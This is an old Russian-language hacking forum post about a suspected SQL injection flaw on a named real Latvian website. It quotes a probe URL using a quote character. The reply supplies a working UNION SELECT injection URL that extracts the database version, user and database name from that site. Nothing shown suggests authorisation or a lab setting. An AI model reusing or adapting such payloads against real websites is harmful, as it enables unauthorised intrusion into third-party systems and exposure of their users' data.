12.08.2010, 22:04
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388
Репутация:
87
|
|
Сообщение от fl00der
http://zurnals.maminuklubs.lv/lat/sludinajumi/?cat=48%27
Тут вот подозрения на SQL inj, т.к. при подстановке ':
http://zurnals.maminuklubs.lv/lat/sludinajumi/?cat=48%27'
выбивает пустую страничку. Но, как я не бился, при всем остальном страничка грузится, как ни в чем не бывало.
Код:
http://zurnals.maminuklubs.lv/lat/sludinajumi/?cat=-48'+union+select+1,2,3,4,5,6,7,8,9,10,concat(0x3a,version(),user(),database(),0x3a),12,13,14,15--+
|
|
|